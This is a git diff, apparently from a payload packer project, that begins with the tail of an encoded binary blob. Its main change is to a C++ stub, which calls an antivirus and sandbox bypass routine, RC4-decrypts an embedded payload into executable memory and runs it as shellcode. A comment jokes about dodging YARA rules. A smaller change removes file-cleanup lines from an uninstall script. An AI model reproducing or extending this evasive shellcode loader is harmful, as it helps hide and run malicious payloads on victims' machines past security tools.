z$|0_n_^pF^_=B_Xx8>SAl+~FC{;6>BWH34r0FUSX7fwf@47mQYYjW-BuX9}8{bS_3 zsy^TW;&H7OrCZB|NA32vkJ!y`q}g?^9=0p#A$aj@usb8g>P=0tnp3DvpP0;yX0LWl z^=nn>tDv58RrS~{dQ+&5onxvIyE<>O=eMbi51}DFX)d07*sh=l(jVzleA~O3cJ~L_ z_8@Y(weMS0>_vHH&k|=)zJy}7lF_tyG+K7sNH}l;I1?77b5913grtqoqT@*ElENe{ zKb<}EHuwYL_6g_f1J=9f>u(a%cohy&*NzMb{PBtKPaU`olK4`hY^p4zd06i5Hs_lH6wm#?qTb9wS(J=SEd>bpHR zyW6%rYr8(%?pd8@e_BZoPp-!VjGk4TH`QSV_)Gzx(l>=s_ZZy1wJXymZppNt!0{T^ z$8hNDocB49D=iIdS~AyHgc}<5%RUo!gLCqF#Ag zt&yF|jcrYzvPZeN4=<({*+*I6n7(Az4!?4S>$c+h`ouddL7+zJ|}bRmTc?tWh(b&vfat- zyZZDDt2ip27&^Ud0r}~}c16w}5x@4j$;mfg)g|>0>-!{z6aItr$-frMoSN`!KcIV7 zO$y&JBemw^pC26nKDYK-mzMk7hBWK3DaRgKZ`K0dxEH((1v_8BfBQI}PWR*w9RQzN ziMe?;eO-#p*pz1R=&eaC+J#^zfoU)bj2uRxD5C|xA+pg)S>hUD6`l}Q$HS|m(Dfzv zX?hioR1G#i#R_Exo=-3Mm!$hNSCit>7{zWZlV76{7C-xL~=gIt=w;~Z9ifO z>`Tnc1Dkmsm+~Cg**4Z%Zidg0WpAVFBSLL9x>mrY!f9~bb?u#=#`PB_WXp=HMpDQU(IxAIXdUsiEt;Y&W6U^(7{^Yyy?hdq70u9?NbP59)J=Z$s{aLE%i8 zlU#P+11ttOoWyq#7R8NPdi)Z{&4(8$!LhHvA{1+UHCxLPE^%Yp7o3BotWVjunC=5tELkcn%QhYxvviD(7oLQ@ zz-|@>^_kJ7*H}6(y8PqC@pIrrOg8(3@6E_1BMr@d;depthHCDxxsu;ZzexL<`_{>D z^q^N$a%?F1YOO!Uo|&IWpGEpDlUG;{AHdnvcwRRDu>BW`=%qN0YE3_sUSmSyht&q{ zzqZ7+zZK=9L#+QuZ2hC(`(Soncwc%>sKb&&q4#%Z7w^41?aDvBvVZbz^LFfda?#Gb z3EwB%)b;9vd=MQd%`SO2-L8K3i2eEf6!g4(_I`X8GM#+SNFMSX&Wyok64y%$$njeK z0uBzRs0qk?;}5qv5i=>o2O0j$EQfz2CmY7|Sy;7T$zcrC!6!=muTisCI6d% zy}Bo8pKS}cU-+3WcL0}yZ3Ks?8itrRsMZKq8)*cFyU5n@o7aHF?^)mR_*3F)vv+6V z?@6<}-eGRW^aS$U$XmfT7WV?aTej7?ff|h8Zs((zRvn+1ch2~v->dYG?^3b#o-=IW zb)o%>KMtcl{h!1nr#I$zr-f5(KhM)bFaDle;*R&yF1cb}!kFeWcm3M()ty4qN<&Ojy z);8EL-kZj8!kzL|=J7eN@OiSEKjfbHoWCV5{DFH#`GDK_E~vh4ZR7i44!St4he>*x z@%uLLTi3Hz0HTG-4- zU}mAbmsn0X^rVG`uCr6y zFG)Y^`gal@WTw`eO($;OdFkZeb8lL()9!lz0QT?^>$x(^?m{46^%?G#wZWd%MVts&@$wW4Wgi;_N_5XgNF}O!6lR z*I#)KvNA24K%VE?4F^K^p@&~GA`;i))r`w7otNCN!T4P(>W}?BweiF)c`X*~VZIwW zD9K2FT9#`qmPPD_rDn}PGrQq)d?5I2p2A=q^E-MQfLMuLz6G4B&RAGQq`I7C@hT$L zacdy+kLA_^c;(m=Js0jyv>XkxCO^^=eD}T9d(hGKxL7XI;^*dj_7`b0dYG2W%t_=a!%j1BjN8YD_rb`?9g@J*lE{H&aQmXv_m&H zo{})S-h`bi>yF)$a^Zxnk&CDAvgXw2w^)26a>o}rb_aP5w||3Q6bH)9-;isJFR|q+ z!=I1uW)rpw_Vb(Qeaqm~_2`nD!Ru}?A^u~x!>OwR+w0EyqUrRFByoeXhsH zEMZx=6(%Leg+bar+gIqCZ}Q<|w&QRA(d@o&&8}Z!%sym3)w|3KdRuc?yt!wZ3s8+& zDV5<$Sg>GDtSmclI+(uFhk8%%f91k7yZ+NmYw=Z1sx_iN;K9Bb>Sg(E%i zUpSTHyPfW?HG&cFjnWK{Smm8M2wsh}=`Eh*`yOrp=|E8jk?>V>3<2#CmlIMrMt!tsz zf6ol>Ez}$T?PP-Tr#B?zhSwfV3ukU)_Q7iw`sE{X>4zLW<=S~x?9zF;XOZ`k0a z^p=emWb~{*_3-q%laoKWU|jr#XBWlQncm%ibXEnQM}x>drxUn=TKe_A9|_U^ z+g+3YjXe0z_)YSSF5I3I{&ZJHcz0?}=tv}w7+W6G5jKU2Jdj(Y!2~;_`lzf6>P|m$ zNv#(T-**0}v<~$rrVTm&rLURv4u5s#=+w6>4m>or!ixvHGwbWY^3SFGF|J2)gJSKIs}#9u ze_V@Dny?m{|3!A_qXoOdGY9Suzq}%=5P$#6Y^IPd)VX`7;hZectRtPgR(3sC~KNhaM_FAhqS0 zJXX{M%!`K_$8}1ndHPLeazdwtviL3*O3R9b z=C8>PYv#?*2Xg2Yl@m_SD%2JK8C>B-pfm?_3!g~(qhWDjuX6v-3>0FZ5Cer6D8xV^1`07yh=D>3 z6k?zd1BDnU#6Tei3NcWKfkF)Y^Dyu?CHxm2TzCfl#b+R#$;hYU|DEb~H9GEv=57xi z)&9l*PC41K91RavWEqKP4kl+_W%FT>IL3;(q9l9Rq)RSdyn5% zKYmw%J;#1A+6(L+>OWcyEaxNvx)`{G3Vg7=>YEBc!!+OPMV?3(GdWB)a0#|il4gy-zo_a66rz;Sy{ zw&P@cL%&9K$-jn@-n2(5gD|@TQyz)0aJQ>yo i9P=su*ZV8JSn$S2c~B{M61y#9U&cNyeEc7E2L2yxM%=If literal 0 HcmV?d00001 diff --git a/stub/stub.cpp b/stub/stub.cpp index 578770e..1a80875 100644 --- a/stub/stub.cpp +++ b/stub/stub.cpp @@ -2,8 +2,9 @@ #include "AntiSandbox.h" #include "payload.h" #include "key.h" +#include "RC4.h" - +const char LABEL[] = {""}; // Descriptive label for yara rules ;D void ExecutePayload(); @@ -11,20 +12,23 @@ int main(int argc, char const *argv[]) { CreateThread(NULL,0,BypassAV,NULL,0,NULL); if(BypassAV(NULL)){ - ExecutePayload(); + ExecutePayload(); } return 0; } void ExecutePayload(){ +/* for(int i = 0; i < sizeof(Payload); i++) { Payload[i] = (Payload[i] ^ Payload_key[(i%sizeof(Payload_key))]); } +*/ - - char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); - memcpy(BUFFER, Payload, sizeof(Payload)); + unsigned char S[N]; + KSA(Payload_key,Payload_key_len,S); + unsigned char* BUFFER = (unsigned char*)VirtualAlloc(NULL, Payload_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + PRGA(S,Payload,Payload_len,BUFFER); (*(void(*)())BUFFER)(); while(true){ diff --git a/uninstall.sh b/uninstall.sh index 799e5a3..3476e75 100755 --- a/uninstall.sh +++ b/uninstall.sh @@ -1,19 +1,10 @@ #!/bin/bash sudo rm -r /usr/local/bin/amber -sudo rm core/NonASLR/Payload -sudo rm core/NonASLR/iat/Payload -sudo rm core/NonASLR/Mem.map -sudo rm core/NonASLR/iat/Mem.map -sudo rm core/ASLR/Payload -sudo rm core/ASLR/iat/Payload -sudo rm core/ASLR/Mem.map -sudo rm core/ASLR/iat/Mem.map -sudo rm -r amber -sudo rm -r handler - -echo 0 > Stub/PAYLOAD.h -echo 0 > Stub/KEY.h +sudo rm /usr/local/bin/amber_handler +sudo rm -r /usr/share/Amber +rm amber +rm handler echo " " echo "[+] Uninstallation complete."